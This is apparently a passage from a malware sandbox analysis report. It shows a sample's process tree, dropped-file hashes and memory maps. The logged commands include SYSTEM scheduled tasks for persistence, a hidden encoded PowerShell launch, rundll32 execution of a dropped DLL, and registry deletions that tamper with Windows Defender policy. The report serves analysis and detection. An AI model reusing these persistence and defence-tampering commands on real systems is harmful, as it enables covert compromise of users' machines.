                                                                                                              PID:4268
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gToLbSxfR"
                                                                                                              2⤵
                                                                                                                PID:2180
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "aClwDgKsxBQnbYjuF" /SC once /ST 02:01:55 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jWXQtFKEfMKfhKUF\oqxfaZHkGcGvUMP\UuEaWBB.exe\" dn /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:1432
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "aClwDgKsxBQnbYjuF"
                                                                                                                2⤵
                                                                                                                  PID:4508
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4260
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:1192
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:4700
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:3828
                                                                                                                    • C:\Windows\Temp\jWXQtFKEfMKfhKUF\oqxfaZHkGcGvUMP\UuEaWBB.exe
                                                                                                                      C:\Windows\Temp\jWXQtFKEfMKfhKUF\oqxfaZHkGcGvUMP\UuEaWBB.exe dn /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Checks computer location settings
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:3816
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bvffOywEAsomCrOclN"
                                                                                                                        2⤵
                                                                                                                          PID:2000
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:2348
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:1552
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:5104
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:3036
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\pGMaoMOmU\gqYIPc.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "yKRLlrVxZRCwfvY" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:2264
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "yKRLlrVxZRCwfvY2" /F /xml "C:\Program Files (x86)\pGMaoMOmU\PNLEqsS.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:2012
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "yKRLlrVxZRCwfvY"
                                                                                                                                  2⤵
                                                                                                                                    PID:1944
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "yKRLlrVxZRCwfvY"
                                                                                                                                    2⤵
                                                                                                                                      PID:3956
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "xMldJvduBHIruY" /F /xml "C:\Program Files (x86)\InaIvrjBgGxU2\eyuRBEh.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3088
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "AoZZmzTUnslpJ2" /F /xml "C:\ProgramData\uOKUZcIdbhBstHVB\BVPCvev.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4824
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "WzbfXanLtYYyBKpOR2" /F /xml "C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR\xSwKdTD.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1744
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "LdHJZpmEfCRWAMVLKFS2" /F /xml "C:\Program Files (x86)\zjyBtxSiMuSUC\IGhrHkk.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2112
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "GqChQHaYBumcgGPDT" /SC once /ST 01:15:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\jWXQtFKEfMKfhKUF\WiMWxCzJ\ShjzraF.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4688
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "GqChQHaYBumcgGPDT"
                                                                                                                                      2⤵
                                                                                                                                        PID:2652
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:3164
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:4752
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3504
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4408
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "aClwDgKsxBQnbYjuF"
                                                                                                                                                2⤵
                                                                                                                                                  PID:4372
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jWXQtFKEfMKfhKUF\WiMWxCzJ\ShjzraF.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:3076
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jWXQtFKEfMKfhKUF\WiMWxCzJ\ShjzraF.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    PID:4692
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "GqChQHaYBumcgGPDT"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2636

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR\xSwKdTD.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    95d2816ffeb92607c0f405cfd8b2e6e9

                                                                                                                                                    SHA1

                                                                                                                                                    c31a270411d5c33d41158a90aae7fb4082170d7a

                                                                                                                                                    SHA256

                                                                                                                                                    bf41005bdc2b696500e1c6fb7129e5bef35dac2781282ba01a7cc6454fa5c91b

                                                                                                                                                    SHA512

                                                                                                                                                    4cd1d6fe8cc9e8e79c32ab16e1fc6ae4cc278b46fa0629cc21c2e8dd57589d5b9c6e50023d8e644dafeff2f10686e5e89b2e25345397f154de7f43f5753c9c84

                                                                                                                                                  • C:\Program Files (x86)\InaIvrjBgGxU2\eyuRBEh.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    25ff596e693710af8e7612a6a6635b45

                                                                                                                                                    SHA1

                                                                                                                                                    b9fb6c6c9f50c28a4584c3ed84d70320b545308c

                                                                                                                                                    SHA256

                                                                                                                                                    68d35771b32a517b18c68235c035d327afafd23a389cf69aff23e65572e57180

                                                                                                                                                    SHA512

                                                                                                                                                    a8c7b079db0e0bd19d7372f5382e14860213c9691c9144992f82863f0106cb0ee17f8bb17b1973a2ecffa61fa1ee372b3b69328a8fd43f292895e59c3ffdecdf

                                                                                                                                                  • C:\Program Files (x86)\pGMaoMOmU\PNLEqsS.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    862a1810bc4f7218ed8a26c522d1b71c

                                                                                                                                                    SHA1

                                                                                                                                                    a3c19194bb1b40e190b3e1e9d2a7b842ff3c8c0b

                                                                                                                                                    SHA256

                                                                                                                                                    828502747afa51a4cd8c8c3c4ab215e7eef303376c792941b06aa78526e57c44

                                                                                                                                                    SHA512

                                                                                                                                                    3d2de5965c63d2db04f8970acbc77edd49d0c1940568e4b1fbd5893d8fd9cd4ccb95c707f0d6285686d4fb8919853e7a0de3f40da54a05bb9dda75b958f81281

                                                                                                                                                  • C:\Program Files (x86)\zjyBtxSiMuSUC\IGhrHkk.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    1d95b0160dce1ef68067176dd74af5ee

                                                                                                                                                    SHA1

                                                                                                                                                    981eca90a326f32bdac13af39247d68c6fd25cdf

                                                                                                                                                    SHA256

                                                                                                                                                    ead2a25fe164d66ffe9553a2ba50e4cebc45ad7bc91c83051ec83148afd4c639

                                                                                                                                                    SHA512

                                                                                                                                                    59f1329999ee348b925ac56e19abec6c25645f73f7643ffe9ce209ca9ac737e77fb91305b726face5a96efa6c4bca5cc601c7ac1b31ee1a9adbe24e2b9bb2197

                                                                                                                                                  • C:\ProgramData\uOKUZcIdbhBstHVB\BVPCvev.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    cfd64cb7f207e978b49c3fb62de8d44b

                                                                                                                                                    SHA1

                                                                                                                                                    131611711bcf907a064f843b20f1f785494d8d8e

                                                                                                                                                    SHA256

                                                                                                                                                    0712f38e0c621f572511da7d93c42cfdc2c2945a0d6c24096280e54453ccce7c

                                                                                                                                                    SHA512

                                                                                                                                                    61d00e5bb54d0272cd8ae0aee6ae46298a9796a07701ebd1c7a0b03b56c8310b798596bee5b7ada25ab32eb462a339340a83e3dd6324eb56c1bae2fc4a8cf9ea

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    d8b9a260789a22d72263ef3bb119108c

                                                                                                                                                    SHA1

                                                                                                                                                    376a9bd48726f422679f2cd65003442c0b6f6dd5

                                                                                                                                                    SHA256

                                                                                                                                                    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

                                                                                                                                                    SHA512

                                                                                                                                                    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSBD98.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    05c36c1285f91afcfa0b49341acfd4b1

                                                                                                                                                    SHA1

                                                                                                                                                    a50b777584540c57f938da1fcc5f10845ef3de23

                                                                                                                                                    SHA256

                                                                                                                                                    242181a19834f9fb0ef96b1ccd8c0070d1759d64e84dfddcc2b65b12babce679

                                                                                                                                                    SHA512

                                                                                                                                                    c6585fa702987f7ac02191cecba70055b94075978e199521fd8b7495351b3a014d79be2b0331f9c9b4aa65567779f15b879ee0270b78c08ca8aa7089425ea9ae

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSBD98.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    05c36c1285f91afcfa0b49341acfd4b1

                                                                                                                                                    SHA1

                                                                                                                                                    a50b777584540c57f938da1fcc5f10845ef3de23

                                                                                                                                                    SHA256

                                                                                                                                                    242181a19834f9fb0ef96b1ccd8c0070d1759d64e84dfddcc2b65b12babce679

                                                                                                                                                    SHA512

                                                                                                                                                    c6585fa702987f7ac02191cecba70055b94075978e199521fd8b7495351b3a014d79be2b0331f9c9b4aa65567779f15b879ee0270b78c08ca8aa7089425ea9ae

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC364.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    195ac65216aad2f39a63ab39efbe915e

                                                                                                                                                    SHA1

                                                                                                                                                    80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                                                                                                                                                    SHA256

                                                                                                                                                    6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                                                                                                                                                    SHA512

                                                                                                                                                    dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC364.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    195ac65216aad2f39a63ab39efbe915e

                                                                                                                                                    SHA1

                                                                                                                                                    80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                                                                                                                                                    SHA256

                                                                                                                                                    6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                                                                                                                                                    SHA512

                                                                                                                                                    dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\lJBlQvjZsVtqrIl\XzswOIF.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    195ac65216aad2f39a63ab39efbe915e

                                                                                                                                                    SHA1

                                                                                                                                                    80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                                                                                                                                                    SHA256

                                                                                                                                                    6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                                                                                                                                                    SHA512

                                                                                                                                                    dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\lJBlQvjZsVtqrIl\XzswOIF.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    195ac65216aad2f39a63ab39efbe915e

                                                                                                                                                    SHA1

                                                                                                                                                    80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                                                                                                                                                    SHA256

                                                                                                                                                    6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                                                                                                                                                    SHA512

                                                                                                                                                    dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    1fa3b8d699db2f1d6ac367d0fd84a88d

                                                                                                                                                    SHA1

                                                                                                                                                    baab5cf03b13beb39c06b3a4dba97e0659618c43

                                                                                                                                                    SHA256

                                                                                                                                                    54d5db2bc80acd62c0bf06a1aa4a5703ceafa6ef84966e13c9596ea87ae21279

                                                                                                                                                    SHA512

                                                                                                                                                    396d05e369250f6a42b911362a28d07931c5d86b517bf3b06d0fa1afa415116266f4857287eb3bf90466fb43e22491ccf4d2beb95cacfe735b9ed5cb16ffd65f

                                                                                                                                                  • C:\Windows\Temp\jWXQtFKEfMKfhKUF\WiMWxCzJ\ShjzraF.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    8a3a40b1e33abc103e2ad313b08893d9

                                                                                                                                                    SHA1

                                                                                                                                                    a3dfeb31e70b046b5a1c64af8944192f50a100d8

                                                                                                                                                    SHA256

                                                                                                                                                    814348c8b02b0b85dcd8f8cffe5510cf0b16cc97bfca143dde161b93b3d18a04

                                                                                                                                                    SHA512

                                                                                                                                                    7001ba5ce25b5f4dea6c5ec7226f8013ad44f4ed4c0b339d28358b3c4f933a4f52b75a9beb186f43fe735797f88f19e464a1cb4ef62e92d1deb8c024312c3ea8

                                                                                                                                                  • C:\Windows\Temp\jWXQtFKEfMKfhKUF\WiMWxCzJ\ShjzraF.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    8a3a40b1e33abc103e2ad313b08893d9

                                                                                                                                                    SHA1

                                                                                                                                                    a3dfeb31e70b046b5a1c64af8944192f50a100d8

                                                                                                                                                    SHA256

                                                                                                                                                    814348c8b02b0b85dcd8f8cffe5510cf0b16cc97bfca143dde161b93b3d18a04

                                                                                                                                                    SHA512

                                                                                                                                                    7001ba5ce25b5f4dea6c5ec7226f8013ad44f4ed4c0b339d28358b3c4f933a4f52b75a9beb186f43fe735797f88f19e464a1cb4ef62e92d1deb8c024312c3ea8

                                                                                                                                                  • C:\Windows\Temp\jWXQtFKEfMKfhKUF\oqxfaZHkGcGvUMP\UuEaWBB.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    195ac65216aad2f39a63ab39efbe915e

                                                                                                                                                    SHA1

                                                                                                                                                    80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                                                                                                                                                    SHA256

                                                                                                                                                    6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                                                                                                                                                    SHA512

                                                                                                                                                    dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                                                                                                                                                  • C:\Windows\Temp\jWXQtFKEfMKfhKUF\oqxfaZHkGcGvUMP\UuEaWBB.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    195ac65216aad2f39a63ab39efbe915e

                                                                                                                                                    SHA1

                                                                                                                                                    80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                                                                                                                                                    SHA256

                                                                                                                                                    6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                                                                                                                                                    SHA512

                                                                                                                                                    dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    5KB

                                                                                                                                                    MD5

                                                                                                                                                    a65047f6c484d322339140e4e5b79f44

                                                                                                                                                    SHA1

                                                                                                                                                    806b2b50cb7bb2a6f7d2de96ff7fb6db52bd542e

                                                                                                                                                    SHA256

                                                                                                                                                    3d2c7eaf69512748b5726e7db9c3c0e1e06da2a6efe417665f3712ce62c9002f

                                                                                                                                                    SHA512

                                                                                                                                                    e4b035dba8183690b45f77298dda96bdc40ebf7659cf339e45b7a65d0cf05da6dca27e99cdb3bd7bf692f1bdebd7f6e54265a4244945799d5b3f5d4943f90966

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/116-148-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/204-147-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/228-165-0x0000000004720000-0x0000000004786000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/228-167-0x0000000004FE0000-0x0000000004FFE000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/228-162-0x0000000003A50000-0x0000000003A86000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/228-163-0x00000000040F0000-0x0000000004718000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/228-164-0x0000000004030000-0x0000000004052000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/228-161-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/228-166-0x0000000004980000-0x00000000049E6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/548-180-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/988-192-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1160-186-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1188-208-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1192-219-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1212-184-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1284-203-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1404-188-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1432-222-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1468-141-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1492-210-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1580-152-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1676-204-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1684-187-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1696-138-0x0000000010000000-0x0000000011000000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

                                                                                                                                                  • memory/1696-135-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/1836-212-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2096-144-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2136-168-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2180-221-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2264-200-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2332-202-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2404-132-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2612-143-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2704-149-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/2824-207-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3080-211-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3100-190-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3112-155-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3164-150-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3168-173-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3176-174-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3216-179-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3376-145-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3408-191-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3424-181-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3508-172-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3548-175-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3588-178-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3596-206-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3696-171-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3816-232-0x0000000004210000-0x0000000004276000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/3816-228-0x0000000003AA0000-0x0000000003B25000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/3816-245-0x0000000004CC0000-0x0000000004D7A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    744KB

                                                                                                                                                  • memory/3816-242-0x0000000004B80000-0x0000000004BF5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    468KB

                                                                                                                                                  • memory/3828-176-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3956-154-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/3988-205-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4208-182-0x0000000000000000-mapping.dmp

